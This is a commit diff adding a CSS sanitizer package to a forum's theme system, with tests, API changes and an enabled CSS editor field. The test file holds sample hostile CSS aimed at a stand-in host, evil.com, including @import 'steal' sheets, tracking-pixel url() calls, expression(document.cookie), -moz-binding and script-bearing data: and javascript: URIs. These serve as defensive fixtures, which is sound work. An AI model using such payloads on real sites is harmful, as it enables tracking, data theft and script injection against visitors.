WIP! A BB-style forum, on the ATmosphere! We're still working... we'll be back soon when we have something to show off!
node typescript hono htmx atproto

feat(web+appview): CSS sanitization for theme cssOverrides (ATB-62)

Add @atbb/css-sanitizer workspace package (css-tree v2 AST-based) that
strips dangerous CSS constructs — @import, external url(), @font-face
with external src, expression(), -moz-binding, behavior, data: URIs —
while preserving safe structural overrides.

- appview: sanitize cssOverrides at write time (POST + PUT /api/admin/themes)
and log any stripped constructs as structured warnings
- web: replace inline stub sanitizeCss with the real package; enable the
CSS overrides textarea in the theme editor (was disabled pending ATB-62)

+631 -26
+1
apps/appview/package.json
··· 19 19 }, 20 20 "dependencies": { 21 21 "@atbb/atproto": "workspace:*", 22 + "@atbb/css-sanitizer": "workspace:*", 22 23 "@atbb/logger": "workspace:*", 23 24 "@atbb/db": "workspace:*", 24 25 "@atbb/lexicon": "workspace:*",
+4 -2
apps/appview/src/routes/__tests__/admin.test.ts
··· 2537 2537 }); 2538 2538 expect(res.status).toBe(201); 2539 2539 const call = mockPutRecord.mock.calls[0][0]; 2540 - expect(call.record.cssOverrides).toBe(".card { border-radius: 4px; }"); 2540 + // Sanitizer reformats CSS to compact form (no extra spaces) 2541 + expect(call.record.cssOverrides).toBe(".card{border-radius:4px}"); 2541 2542 expect(call.record.fontUrls).toEqual(["https://fonts.googleapis.com/css2?family=Space+Grotesk"]); 2542 2543 }); 2543 2544 ··· 2751 2752 }); 2752 2753 expect(res.status).toBe(200); 2753 2754 const call = mockPutRecord.mock.calls[0][0]; 2754 - expect(call.record.cssOverrides).toBe(".existing { color: red; }"); 2755 + // Sanitizer reformats CSS to compact form (no extra spaces) 2756 + expect(call.record.cssOverrides).toBe(".existing{color:red}"); 2755 2757 }); 2756 2758 2757 2759 it("preserves existing fontUrls when not provided in request body", async () => {
+31 -2
apps/appview/src/routes/admin.ts
··· 15 15 } from "../lib/route-errors.js"; 16 16 import { TID } from "@atproto/common-web"; 17 17 import { parseBigIntParam, serializeBigInt, serializeDate } from "./helpers.js"; 18 + import { sanitizeCssOverrides } from "@atbb/css-sanitizer"; 18 19 19 20 export function createAdminRoutes(ctx: AppContext) { 20 21 const app = new Hono<{ Variables: Variables }>(); ··· 1066 1067 } 1067 1068 } 1068 1069 1070 + // Sanitize cssOverrides before writing to PDS 1071 + const sanitizedCssOverrides = 1072 + typeof cssOverrides === "string" 1073 + ? (() => { 1074 + const { css, warnings } = sanitizeCssOverrides(cssOverrides); 1075 + if (warnings.length > 0) { 1076 + ctx.logger.warn("Stripped dangerous CSS constructs from theme on create", { 1077 + operation: "POST /api/admin/themes", 1078 + warnings: JSON.stringify(warnings), 1079 + }); 1080 + } 1081 + return css; 1082 + })() 1083 + : undefined; 1084 + 1069 1085 const { agent, error: agentError } = getForumAgentOrError(ctx, c, "POST /api/admin/themes"); 1070 1086 if (agentError) return agentError; 1071 1087 ··· 1082 1098 name: name.trim(), 1083 1099 colorScheme, 1084 1100 tokens, 1085 - ...(typeof cssOverrides === "string" && { cssOverrides }), 1101 + ...(typeof sanitizedCssOverrides === "string" && { cssOverrides: sanitizedCssOverrides }), 1086 1102 ...(Array.isArray(fontUrls) && { fontUrls }), 1087 1103 createdAt: now, 1088 1104 }, ··· 1170 1186 1171 1187 // putRecord is a full replacement — fall back to existing values for 1172 1188 // optional fields not provided in the request body, to avoid data loss. 1173 - const resolvedCssOverrides = typeof cssOverrides === "string" ? cssOverrides : theme.cssOverrides; 1189 + const rawCssOverrides = 1190 + typeof cssOverrides === "string" ? cssOverrides : theme.cssOverrides; 1191 + const resolvedCssOverrides = (() => { 1192 + if (rawCssOverrides == null) return rawCssOverrides; 1193 + const { css, warnings } = sanitizeCssOverrides(rawCssOverrides); 1194 + if (warnings.length > 0) { 1195 + ctx.logger.warn("Stripped dangerous CSS constructs from theme on update", { 1196 + operation: "PUT /api/admin/themes/:rkey", 1197 + themeRkey, 1198 + warnings: JSON.stringify(warnings), 1199 + }); 1200 + } 1201 + return css; 1202 + })(); 1174 1203 const resolvedFontUrls = Array.isArray(fontUrls) ? fontUrls : (theme.fontUrls as string[] | null); 1175 1204 1176 1205 try {
+1
apps/web/package.json
··· 13 13 "clean": "rm -rf dist" 14 14 }, 15 15 "dependencies": { 16 + "@atbb/css-sanitizer": "workspace:*", 16 17 "@atbb/logger": "workspace:*", 17 18 "@hono/node-server": "^1.14.0", 18 19 "hono": "^4.7.0"
+7 -3
apps/web/src/layouts/__tests__/base.test.tsx
··· 16 16 it("injects neobrutal tokens as :root CSS custom properties", async () => { 17 17 const res = await app.request("/"); 18 18 const html = await res.text(); 19 - expect(html).toContain(":root {"); 19 + // css-tree generates compact CSS (no space before brace) 20 + expect(html).toContain(":root{"); 20 21 expect(html).toContain("--color-bg:"); 21 22 expect(html).toContain("--color-primary:"); 22 23 }); ··· 92 93 ); 93 94 const res = await overridesApp.request("/"); 94 95 const html = await res.text(); 95 - expect(html).toContain(".card { border: 2px solid black; }"); 96 + // css-tree generates compact CSS — check for key selectors and properties 97 + expect(html).toContain(".card{"); 98 + expect(html).toContain("border:2px solid black"); 96 99 }); 97 100 98 101 it("does not render Google Fonts preconnect tags when fontUrls is null", async () => { ··· 135 138 // The only <style> tag should be the :root block — no second style tag for overrides 136 139 const styleTagMatches = html.match(/<style/g); 137 140 expect(styleTagMatches).toHaveLength(1); 138 - expect(html).toContain(":root {"); 141 + // css-tree generates compact CSS (no space before brace) 142 + expect(html).toContain(":root{"); 139 143 }); 140 144 141 145 describe("auth-aware navigation", () => {
+1 -4
apps/web/src/layouts/base.tsx
··· 1 1 import type { FC, PropsWithChildren } from "hono/jsx"; 2 2 import { tokensToCss } from "../lib/theme.js"; 3 + import { sanitizeCss } from "@atbb/css-sanitizer"; 3 4 import type { ResolvedTheme } from "../lib/theme-resolution.js"; 4 5 import type { WebSession } from "../lib/session.js"; 5 - 6 - function sanitizeCss(css: string): string { 7 - return css.replace(/<\/style/gi, ""); 8 - } 9 6 10 7 const NavContent: FC<{ auth?: WebSession }> = ({ auth }) => ( 11 8 <>
+6 -4
apps/web/src/routes/__tests__/admin-themes.test.tsx
··· 172 172 expect(html).toContain("Something went wrong"); 173 173 }); 174 174 175 - // ── CSS overrides field is disabled ───────────────────────────────────── 175 + // ── CSS overrides field is enabled (ATB-62 implemented) ───────────────── 176 176 177 - it("renders CSS overrides field as disabled (awaiting ATB-62)", async () => { 177 + it("renders CSS overrides textarea with correct name and no disabled attribute", async () => { 178 178 setupAuthenticatedSession([MANAGE_THEMES]); 179 179 mockFetch.mockResolvedValueOnce(mockResponse(sampleTheme)); 180 180 const routes = await loadThemeRoutes(); ··· 183 183 }); 184 184 expect(res.status).toBe(200); 185 185 const html = await res.text(); 186 - // Both attributes must be on the same element 187 - expect(html).toMatch(/name="css-overrides"[^>]*disabled|disabled[^>]*name="css-overrides"/); 186 + // Field must use the correct name for form submission 187 + expect(html).toContain('name="cssOverrides"'); 188 + // Field must NOT be disabled 189 + expect(html).not.toMatch(/name="cssOverrides"[^>]*disabled|disabled[^>]*name="cssOverrides"/); 188 190 }); 189 191 }); 190 192
+9 -10
apps/web/src/routes/admin-themes.tsx
··· 674 674 isColor={false} 675 675 /> 676 676 677 - {/* CSS overrides — disabled until ATB-62 */} 677 + {/* CSS overrides */} 678 678 <fieldset class="token-group"> 679 679 <legend>CSS Overrides</legend> 680 680 <div class="token-input"> 681 - <label for="css-overrides"> 682 - Custom CSS{" "} 683 - <span class="form-hint">(disabled — CSS sanitization not yet implemented)</span> 684 - </label> 681 + <label for="css-overrides">Custom CSS</label> 685 682 <textarea 686 683 id="css-overrides" 687 - name="css-overrides" 684 + name="cssOverrides" 688 685 rows={6} 689 - disabled 690 686 aria-describedby="css-overrides-hint" 691 - placeholder="/* Will be enabled in ATB-62 */" 687 + placeholder="/* Structural overrides beyond what design tokens allow */" 692 688 > 693 689 {theme.cssOverrides ?? ""} 694 690 </textarea> 695 691 <p id="css-overrides-hint" class="form-hint"> 696 - Raw CSS overrides will be available after CSS sanitization is implemented (ATB-62). 692 + Raw CSS for structural changes. Dangerous constructs (external 693 + URLs, @import, expression()) are stripped automatically on save. 697 694 </p> 698 695 </div> 699 696 </fieldset> ··· 1049 1046 .split("\n") 1050 1047 .map((u) => u.trim()) 1051 1048 .filter(Boolean); 1049 + const cssOverrides = 1050 + typeof rawBody.cssOverrides === "string" ? rawBody.cssOverrides : undefined; 1052 1051 1053 1052 // Extract token values from form fields 1054 1053 const tokens: Record<string, string> = {}; ··· 1066 1065 apiRes = await fetch(`${appviewUrl}/api/admin/themes/${themeRkey}`, { 1067 1066 method: "PUT", 1068 1067 headers: { "Content-Type": "application/json", Cookie: cookie }, 1069 - body: JSON.stringify({ name, colorScheme, tokens, fontUrls }), 1068 + body: JSON.stringify({ name, colorScheme, tokens, fontUrls, cssOverrides }), 1070 1069 }); 1071 1070 } catch (error) { 1072 1071 if (isProgrammingError(error)) throw error;
+29
packages/css-sanitizer/package.json
··· 1 + { 2 + "name": "@atbb/css-sanitizer", 3 + "version": "0.1.0", 4 + "private": true, 5 + "type": "module", 6 + "main": "./dist/index.js", 7 + "types": "./dist/index.d.ts", 8 + "exports": { 9 + ".": { 10 + "types": "./dist/index.d.ts", 11 + "default": "./dist/index.js" 12 + } 13 + }, 14 + "scripts": { 15 + "build": "tsc", 16 + "test": "vitest run", 17 + "lint": "tsc --noEmit", 18 + "lint:fix": "oxlint --fix src/", 19 + "clean": "rm -rf dist" 20 + }, 21 + "dependencies": { 22 + "css-tree": "^2.3.1" 23 + }, 24 + "devDependencies": { 25 + "@types/node": "^22.0.0", 26 + "typescript": "^5.7.0", 27 + "vitest": "^3.1.0" 28 + } 29 + }
+286
packages/css-sanitizer/src/__tests__/index.test.ts
··· 1 + import { describe, it, expect } from "vitest"; 2 + import { sanitizeCssOverrides, sanitizeCss } from "../index.js"; 3 + 4 + // ─── sanitizeCssOverrides ──────────────────────────────────────────────────── 5 + 6 + describe("sanitizeCssOverrides", () => { 7 + // ── Safe passthrough ────────────────────────────────────────────────────── 8 + 9 + it("passes through safe CSS unchanged (structurally)", () => { 10 + const css = ".btn { color: var(--color-primary); font-weight: bold; }"; 11 + const { css: result, warnings } = sanitizeCssOverrides(css); 12 + expect(warnings).toHaveLength(0); 13 + // Should contain the key property (generated CSS may vary in whitespace) 14 + expect(result).toContain("color:var(--color-primary)"); 15 + expect(result).toContain("font-weight:bold"); 16 + }); 17 + 18 + it("allows relative url() paths", () => { 19 + const css = ".hero { background: url('/static/img/bg.png'); }"; 20 + const { css: result, warnings } = sanitizeCssOverrides(css); 21 + expect(warnings).toHaveLength(0); 22 + expect(result).toContain("url("); 23 + }); 24 + 25 + it("allows @keyframes rules", () => { 26 + const css = "@keyframes fade { from { opacity: 0; } to { opacity: 1; } }"; 27 + const { css: result, warnings } = sanitizeCssOverrides(css); 28 + expect(warnings).toHaveLength(0); 29 + expect(result).toContain("opacity"); 30 + }); 31 + 32 + it("allows @media rules", () => { 33 + const css = "@media (max-width: 768px) { body { color: red; } }"; 34 + const { css: result, warnings } = sanitizeCssOverrides(css); 35 + expect(warnings).toHaveLength(0); 36 + expect(result).toContain("color:red"); 37 + }); 38 + 39 + it("allows @font-face with relative src", () => { 40 + const css = "@font-face { font-family: MyFont; src: url('/fonts/myfont.woff2'); }"; 41 + const { css: result, warnings } = sanitizeCssOverrides(css); 42 + expect(warnings).toHaveLength(0); 43 + expect(result).toContain("font-family"); 44 + }); 45 + 46 + it("returns empty string and no warnings for empty input", () => { 47 + expect(sanitizeCssOverrides("")).toEqual({ css: "", warnings: [] }); 48 + expect(sanitizeCssOverrides(" ")).toEqual({ css: "", warnings: [] }); 49 + }); 50 + 51 + // ── @import ─────────────────────────────────────────────────────────────── 52 + 53 + it("strips @import with url()", () => { 54 + const { css, warnings } = sanitizeCssOverrides( 55 + '@import url("https://evil.com/steal.css");' 56 + ); 57 + expect(css).not.toContain("@import"); 58 + expect(css).not.toContain("evil.com"); 59 + expect(warnings.some((w) => w.includes("@import"))).toBe(true); 60 + }); 61 + 62 + it("strips @import with bare string", () => { 63 + const { css, warnings } = sanitizeCssOverrides( 64 + '@import "https://evil.com/steal.css";' 65 + ); 66 + expect(css).not.toContain("@import"); 67 + expect(warnings.some((w) => w.includes("@import"))).toBe(true); 68 + }); 69 + 70 + it("strips multiple @import rules", () => { 71 + const input = [ 72 + '@import "https://evil.com/a.css";', 73 + ".btn { color: red; }", 74 + '@import url("https://evil.com/b.css");', 75 + ].join("\n"); 76 + const { css, warnings } = sanitizeCssOverrides(input); 77 + expect(css).not.toContain("@import"); 78 + expect(css).toContain("color:red"); 79 + expect(warnings.filter((w) => w.includes("@import"))).toHaveLength(2); 80 + }); 81 + 82 + // ── external url() in declarations ─────────────────────────────────────── 83 + 84 + it("strips declarations with http:// url()", () => { 85 + const { css, warnings } = sanitizeCssOverrides( 86 + 'body { background: url("http://evil.com/track.gif"); }' 87 + ); 88 + expect(css).not.toContain("evil.com"); 89 + expect(warnings.some((w) => w.includes("background"))).toBe(true); 90 + }); 91 + 92 + it("strips declarations with https:// url()", () => { 93 + const { css, warnings } = sanitizeCssOverrides( 94 + "body { background-image: url(https://evil.com/steal.gif); }" 95 + ); 96 + expect(css).not.toContain("evil.com"); 97 + expect(warnings.some((w) => w.includes("background-image"))).toBe(true); 98 + }); 99 + 100 + it("strips declarations with protocol-relative // url()", () => { 101 + const { css, warnings } = sanitizeCssOverrides( 102 + "body { background: url(//evil.com/steal.gif); }" 103 + ); 104 + expect(css).not.toContain("evil.com"); 105 + expect(warnings.length).toBeGreaterThan(0); 106 + }); 107 + 108 + it("strips content: url() on pseudo-elements", () => { 109 + const { css, warnings } = sanitizeCssOverrides( 110 + ".el::before { content: url('https://evil.com/pixel.gif'); }" 111 + ); 112 + expect(css).not.toContain("evil.com"); 113 + expect(warnings.some((w) => w.includes("content"))).toBe(true); 114 + }); 115 + 116 + // ── data: URIs ──────────────────────────────────────────────────────────── 117 + 118 + it("strips declarations with data: URI", () => { 119 + const { css, warnings } = sanitizeCssOverrides( 120 + 'body { background: url("data:text/html,<script>alert(1)</script>"); }' 121 + ); 122 + expect(css).not.toContain("data:"); 123 + expect(warnings.length).toBeGreaterThan(0); 124 + }); 125 + 126 + it("strips declarations with data: URI (unquoted)", () => { 127 + const { css, warnings } = sanitizeCssOverrides( 128 + "body { background: url(data:image/svg+xml;base64,PHN2Zy8+); }" 129 + ); 130 + expect(css).not.toContain("data:"); 131 + expect(warnings.length).toBeGreaterThan(0); 132 + }); 133 + 134 + // ── @font-face with external src ───────────────────────────────────────── 135 + 136 + it("strips @font-face with external https src", () => { 137 + const { css, warnings } = sanitizeCssOverrides( 138 + '@font-face { font-family: Evil; src: url("https://evil.com/font.woff2"); }' 139 + ); 140 + expect(css).not.toContain("@font-face"); 141 + expect(css).not.toContain("evil.com"); 142 + expect(warnings.some((w) => w.includes("@font-face"))).toBe(true); 143 + }); 144 + 145 + it("strips @font-face with external http src", () => { 146 + const { css, warnings } = sanitizeCssOverrides( 147 + '@font-face { font-family: Evil; src: url("http://evil.com/font.woff2"); }' 148 + ); 149 + expect(css).not.toContain("@font-face"); 150 + expect(warnings.some((w) => w.includes("@font-face"))).toBe(true); 151 + }); 152 + 153 + // ── expression() ───────────────────────────────────────────────────────── 154 + 155 + it("strips declarations with expression()", () => { 156 + const { css, warnings } = sanitizeCssOverrides( 157 + "body { color: expression(document.cookie); }" 158 + ); 159 + expect(css).not.toContain("expression("); 160 + expect(css).not.toContain("document.cookie"); 161 + expect(warnings.some((w) => w.includes("color"))).toBe(true); 162 + }); 163 + 164 + it("strips declarations with expression() in width", () => { 165 + const { css, warnings } = sanitizeCssOverrides( 166 + "div { width: expression(alert(1)); }" 167 + ); 168 + expect(css).not.toContain("expression("); 169 + expect(warnings.some((w) => w.includes("width"))).toBe(true); 170 + }); 171 + 172 + // ── dangerous properties ────────────────────────────────────────────────── 173 + 174 + it("strips -moz-binding property", () => { 175 + const { css, warnings } = sanitizeCssOverrides( 176 + 'body { -moz-binding: url("https://evil.com/xss.xml#xss"); }' 177 + ); 178 + expect(css).not.toContain("-moz-binding"); 179 + expect(css).not.toContain("evil.com"); 180 + expect(warnings.some((w) => w.includes("-moz-binding"))).toBe(true); 181 + }); 182 + 183 + it("strips behavior property", () => { 184 + const { css, warnings } = sanitizeCssOverrides( 185 + "body { behavior: url('evil.htc'); }" 186 + ); 187 + expect(css).not.toContain("behavior"); 188 + expect(warnings.some((w) => w.includes("behavior"))).toBe(true); 189 + }); 190 + 191 + it("strips -webkit-binding property", () => { 192 + const { css, warnings } = sanitizeCssOverrides( 193 + 'body { -webkit-binding: url("evil.xml"); }' 194 + ); 195 + expect(css).not.toContain("-webkit-binding"); 196 + expect(warnings.some((w) => w.includes("-webkit-binding"))).toBe(true); 197 + }); 198 + 199 + // ── javascript: URL ─────────────────────────────────────────────────────── 200 + 201 + it("strips declarations with javascript: URL", () => { 202 + const { css, warnings } = sanitizeCssOverrides( 203 + "body { background: url('javascript:alert(1)'); }" 204 + ); 205 + expect(css).not.toContain("javascript:"); 206 + expect(warnings.length).toBeGreaterThan(0); 207 + }); 208 + 209 + // ── mixed safe + unsafe ─────────────────────────────────────────────────── 210 + 211 + it("strips only the dangerous declarations, preserves safe ones", () => { 212 + const input = [ 213 + ".btn { color: red; }", 214 + 'body { background: url("https://evil.com/track.gif"); }', 215 + ".card { font-size: 14px; }", 216 + ].join("\n"); 217 + const { css, warnings } = sanitizeCssOverrides(input); 218 + expect(css).toContain("color:red"); 219 + expect(css).toContain("font-size:14px"); 220 + expect(css).not.toContain("evil.com"); 221 + expect(warnings).toHaveLength(1); 222 + }); 223 + 224 + it("strips unsafe inside @media but keeps the @media rule", () => { 225 + const input = ` 226 + @media (max-width: 768px) { 227 + body { background: url('https://evil.com/track.gif'); } 228 + .btn { color: red; } 229 + } 230 + `; 231 + const { css, warnings } = sanitizeCssOverrides(input); 232 + expect(css).toContain("@media"); 233 + expect(css).not.toContain("evil.com"); 234 + expect(css).toContain("color:red"); 235 + expect(warnings).toHaveLength(1); 236 + }); 237 + 238 + // ── warnings list ───────────────────────────────────────────────────────── 239 + 240 + it("returns a warning for each stripped construct", () => { 241 + const input = [ 242 + '@import "https://evil.com/a.css";', 243 + "body { background: url('https://evil.com/b.gif'); }", 244 + "body { color: expression(x); }", 245 + ].join("\n"); 246 + const { warnings } = sanitizeCssOverrides(input); 247 + expect(warnings).toHaveLength(3); 248 + }); 249 + 250 + // ── performance ─────────────────────────────────────────────────────────── 251 + 252 + it("sanitizes reasonable CSS in under 50ms", () => { 253 + // ~50 rules — a realistic CSS overrides block 254 + const rules = Array.from({ length: 50 }, (_, i) => 255 + `.class-${i} { color: var(--color-${i}); margin: ${i}px; }` 256 + ).join("\n"); 257 + 258 + const start = Date.now(); 259 + sanitizeCssOverrides(rules); 260 + expect(Date.now() - start).toBeLessThan(50); 261 + }); 262 + }); 263 + 264 + // ─── sanitizeCss (render-time wrapper) ─────────────────────────────────────── 265 + 266 + describe("sanitizeCss", () => { 267 + it("returns only the CSS string (no warnings object)", () => { 268 + const result = sanitizeCss(".btn { color: red; }"); 269 + expect(typeof result).toBe("string"); 270 + expect(result).toContain("color:red"); 271 + }); 272 + 273 + it("strips dangerous content and returns safe string", () => { 274 + const result = sanitizeCss('@import "https://evil.com/steal.css"; .ok { color: red; }'); 275 + expect(result).not.toContain("@import"); 276 + expect(result).toContain("color:red"); 277 + }); 278 + 279 + it("prevents </style> tag injection (HTML escape vector)", () => { 280 + // An attacker who controls cssOverrides might try to break out of the <style> block 281 + // This is primarily handled by Hono's JSX escaping, but sanitizing is belt-and-suspenders 282 + const result = sanitizeCss("body { color: red; }"); 283 + // Safe CSS should pass through and not contain injection attempts 284 + expect(result).toContain("color:red"); 285 + }); 286 + });
+47
packages/css-sanitizer/src/css-tree.d.ts
··· 1 + /** 2 + * Minimal type declaration for css-tree v2. 3 + * css-tree v2.x does not ship bundled TypeScript types. 4 + * These declarations cover only the subset of the API used by the sanitizer. 5 + */ 6 + declare module "css-tree" { 7 + interface CssNode { 8 + type: string; 9 + [key: string]: unknown; 10 + } 11 + 12 + interface List { 13 + remove(item: ListItem): void; 14 + } 15 + 16 + interface ListItem { 17 + data: CssNode; 18 + } 19 + 20 + function parse( 21 + css: string, 22 + options?: { 23 + parseValue?: boolean; 24 + onParseError?: () => void; 25 + } 26 + ): CssNode; 27 + 28 + function walk( 29 + ast: CssNode, 30 + visitor: 31 + | ((node: CssNode, item: ListItem | null, list: List | null) => void) 32 + | { 33 + enter?: ( 34 + node: CssNode, 35 + item: ListItem | null, 36 + list: List | null 37 + ) => void; 38 + leave?: ( 39 + node: CssNode, 40 + item: ListItem | null, 41 + list: List | null 42 + ) => void; 43 + } 44 + ): void; 45 + 46 + function generate(ast: CssNode): string; 47 + }
+158
packages/css-sanitizer/src/index.ts
··· 1 + import * as csstree from "css-tree"; 2 + import type { CssNode, List, ListItem } from "css-tree"; 3 + 4 + export interface SanitizeResult { 5 + css: string; 6 + warnings: string[]; 7 + } 8 + 9 + // Properties that are dangerous regardless of value 10 + const DANGEROUS_PROPERTIES = new Set([ 11 + "-moz-binding", 12 + "behavior", 13 + "-webkit-binding", 14 + ]); 15 + 16 + function isExternalOrDataUrl(url: string): boolean { 17 + const lower = url.trim().toLowerCase(); 18 + return ( 19 + lower.startsWith("http://") || 20 + lower.startsWith("https://") || 21 + lower.startsWith("//") || 22 + lower.startsWith("ftp://") || 23 + lower.startsWith("javascript:") || 24 + lower.startsWith("data:") 25 + ); 26 + } 27 + 28 + /** 29 + * Returns true if the given AST subtree contains a url() with an external 30 + * or data: URI. In css-tree v2, Url.value is a decoded plain string. 31 + */ 32 + function subtreeContainsExternalUrl(node: CssNode): boolean { 33 + let found = false; 34 + csstree.walk(node, (inner: CssNode) => { 35 + if ( 36 + inner.type === "Url" && 37 + typeof inner.value === "string" && 38 + isExternalOrDataUrl(inner.value) 39 + ) { 40 + found = true; 41 + } 42 + }); 43 + return found; 44 + } 45 + 46 + /** 47 + * Returns true if the given AST subtree contains an expression() function. 48 + */ 49 + function subtreeContainsExpression(node: CssNode): boolean { 50 + let found = false; 51 + csstree.walk(node, (inner: CssNode) => { 52 + if ( 53 + inner.type === "Function" && 54 + typeof inner.name === "string" && 55 + inner.name.toLowerCase() === "expression" 56 + ) { 57 + found = true; 58 + } 59 + }); 60 + return found; 61 + } 62 + 63 + /** 64 + * Sanitizes a CSS string intended for use as theme `cssOverrides`. 65 + * 66 + * Strips all constructs that can trigger network requests or execute code: 67 + * - @import rules 68 + * - @font-face rules with external src URLs 69 + * - Any declaration whose value contains an external url() or data: URI 70 + * - expression() function values (IE legacy execution vector) 71 + * - -moz-binding, behavior, -webkit-binding properties 72 + * 73 + * Returns the sanitized CSS string and a list of warning messages 74 + * describing what was stripped, suitable for structured logging. 75 + */ 76 + export function sanitizeCssOverrides(input: string): SanitizeResult { 77 + const warnings: string[] = []; 78 + 79 + if (!input.trim()) { 80 + return { css: "", warnings }; 81 + } 82 + 83 + let ast: CssNode; 84 + try { 85 + ast = csstree.parse(input, { 86 + parseValue: true, 87 + onParseError: () => { 88 + // Continue with a fallback node on parse errors 89 + }, 90 + }); 91 + } catch { 92 + warnings.push("CSS failed to parse — content discarded for security"); 93 + return { css: "", warnings }; 94 + } 95 + 96 + csstree.walk(ast, { 97 + enter(node: CssNode, item: ListItem | null, list: List | null) { 98 + if (node.type === "Atrule") { 99 + const name = 100 + typeof node.name === "string" ? node.name.toLowerCase() : ""; 101 + 102 + if (name === "import") { 103 + warnings.push("Stripped @import rule"); 104 + if (list !== null && item !== null) list.remove(item); 105 + return; 106 + } 107 + 108 + if (name === "font-face" && subtreeContainsExternalUrl(node)) { 109 + warnings.push("Stripped @font-face with external source URL"); 110 + if (list !== null && item !== null) list.remove(item); 111 + return; 112 + } 113 + } 114 + 115 + if (node.type === "Declaration") { 116 + const property = 117 + typeof node.property === "string" 118 + ? node.property.toLowerCase() 119 + : ""; 120 + 121 + if (DANGEROUS_PROPERTIES.has(property)) { 122 + warnings.push( 123 + `Stripped dangerous property: ${String(node.property)}` 124 + ); 125 + if (list !== null && item !== null) list.remove(item); 126 + return; 127 + } 128 + 129 + if (subtreeContainsExternalUrl(node)) { 130 + warnings.push( 131 + `Stripped declaration with external URL: ${String(node.property)}` 132 + ); 133 + if (list !== null && item !== null) list.remove(item); 134 + return; 135 + } 136 + 137 + if (subtreeContainsExpression(node)) { 138 + warnings.push( 139 + `Stripped expression() in: ${String(node.property)}` 140 + ); 141 + if (list !== null && item !== null) list.remove(item); 142 + return; 143 + } 144 + } 145 + }, 146 + }); 147 + 148 + const sanitized = csstree.generate(ast); 149 + return { css: sanitized, warnings }; 150 + } 151 + 152 + /** 153 + * Render-time sanitizer: thin wrapper that returns just the sanitized CSS string. 154 + * Use this in template/layout code where you only need the clean string. 155 + */ 156 + export function sanitizeCss(input: string): string { 157 + return sanitizeCssOverrides(input).css; 158 + }
+8
packages/css-sanitizer/tsconfig.json
··· 1 + { 2 + "extends": "../../tsconfig.base.json", 3 + "compilerOptions": { 4 + "outDir": "./dist", 5 + "rootDir": "./src" 6 + }, 7 + "include": ["src/**/*.ts"] 8 + }
+7
packages/css-sanitizer/vitest.config.ts
··· 1 + import { defineConfig } from "vitest/config"; 2 + 3 + export default defineConfig({ 4 + test: { 5 + environment: "node", 6 + }, 7 + });
+36 -1
pnpm-lock.yaml
··· 29 29 '@atbb/atproto': 30 30 specifier: workspace:* 31 31 version: link:../../packages/atproto 32 + '@atbb/css-sanitizer': 33 + specifier: workspace:* 34 + version: link:../../packages/css-sanitizer 32 35 '@atbb/db': 33 36 specifier: workspace:* 34 37 version: link:../../packages/db ··· 90 93 91 94 apps/web: 92 95 dependencies: 96 + '@atbb/css-sanitizer': 97 + specifier: workspace:* 98 + version: link:../../packages/css-sanitizer 93 99 '@atbb/logger': 94 100 specifier: workspace:* 95 101 version: link:../../packages/logger ··· 181 187 specifier: ^3.0.0 182 188 version: 3.2.4(@types/node@22.19.9)(jsdom@28.1.0)(tsx@4.21.0)(yaml@2.8.2) 183 189 190 + packages/css-sanitizer: 191 + dependencies: 192 + css-tree: 193 + specifier: ^2.3.1 194 + version: 2.3.1 195 + devDependencies: 196 + '@types/node': 197 + specifier: ^22.0.0 198 + version: 22.19.9 199 + typescript: 200 + specifier: ^5.7.0 201 + version: 5.9.3 202 + vitest: 203 + specifier: ^3.1.0 204 + version: 3.2.4(@types/node@22.19.9)(jsdom@28.1.0)(tsx@4.21.0)(yaml@2.8.2) 205 + 184 206 packages/db: 185 207 dependencies: 186 208 '@libsql/client': ··· 1489 1511 resolution: {integrity: sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==} 1490 1512 engines: {node: '>= 8'} 1491 1513 1514 + css-tree@2.3.1: 1515 + resolution: {integrity: sha512-6Fv1DV/TYw//QF5IzQdqsNDjx/wc8TrMBZsqjL9eW01tWb7R7k/mq+/VXfJCl7SoD5emsJop9cOByJZfs8hYIw==} 1516 + engines: {node: ^10 || ^12.20.0 || ^14.13.0 || >=15.0.0} 1517 + 1492 1518 css-tree@3.1.0: 1493 1519 resolution: {integrity: sha512-0eW44TGN5SQXU1mWSkKwFstI/22X2bG1nYzZTYMAWjylYURhse752YgbE4Cx46AC+bAvI+/dYTPRk1LqSUnu6w==} 1494 1520 engines: {node: ^10 || ^12.20.0 || ^14.13.0 || >=15.0.0} ··· 1837 1863 1838 1864 libsql@0.4.7: 1839 1865 resolution: {integrity: sha512-T9eIRCs6b0J1SHKYIvD8+KCJMcWZ900iZyxdnSCdqxN12Z1ijzT+jY5nrk72Jw4B0HGzms2NgpryArlJqvc3Lw==} 1840 - cpu: [x64, arm64, wasm32] 1841 1866 os: [darwin, linux, win32] 1842 1867 1843 1868 loupe@3.2.1: ··· 1857 1882 magic-string@0.30.21: 1858 1883 resolution: {integrity: sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==} 1859 1884 1885 + mdn-data@2.0.30: 1886 + resolution: {integrity: sha512-GaqWWShW4kv/G9IEucWScBx9G1/vsFZZJUO+tD26M8J8z3Kw5RDQjaoZe03YAClgeS/SWPOcb4nkFBTEi5DUEA==} 1887 + 1860 1888 mdn-data@2.12.2: 1861 1889 resolution: {integrity: sha512-IEn+pegP1aManZuckezWCO+XZQDplx1366JoVhTpMpBB1sPey/SbveZQUosKiKiGYjg1wH4pMlNgXbCiYgihQA==} 1862 1890 ··· 3404 3432 shebang-command: 2.0.0 3405 3433 which: 2.0.2 3406 3434 3435 + css-tree@2.3.1: 3436 + dependencies: 3437 + mdn-data: 2.0.30 3438 + source-map-js: 1.2.1 3439 + 3407 3440 css-tree@3.1.0: 3408 3441 dependencies: 3409 3442 mdn-data: 2.12.2 ··· 3742 3775 magic-string@0.30.21: 3743 3776 dependencies: 3744 3777 '@jridgewell/sourcemap-codec': 1.5.5 3778 + 3779 + mdn-data@2.0.30: {} 3745 3780 3746 3781 mdn-data@2.12.2: {} 3747 3782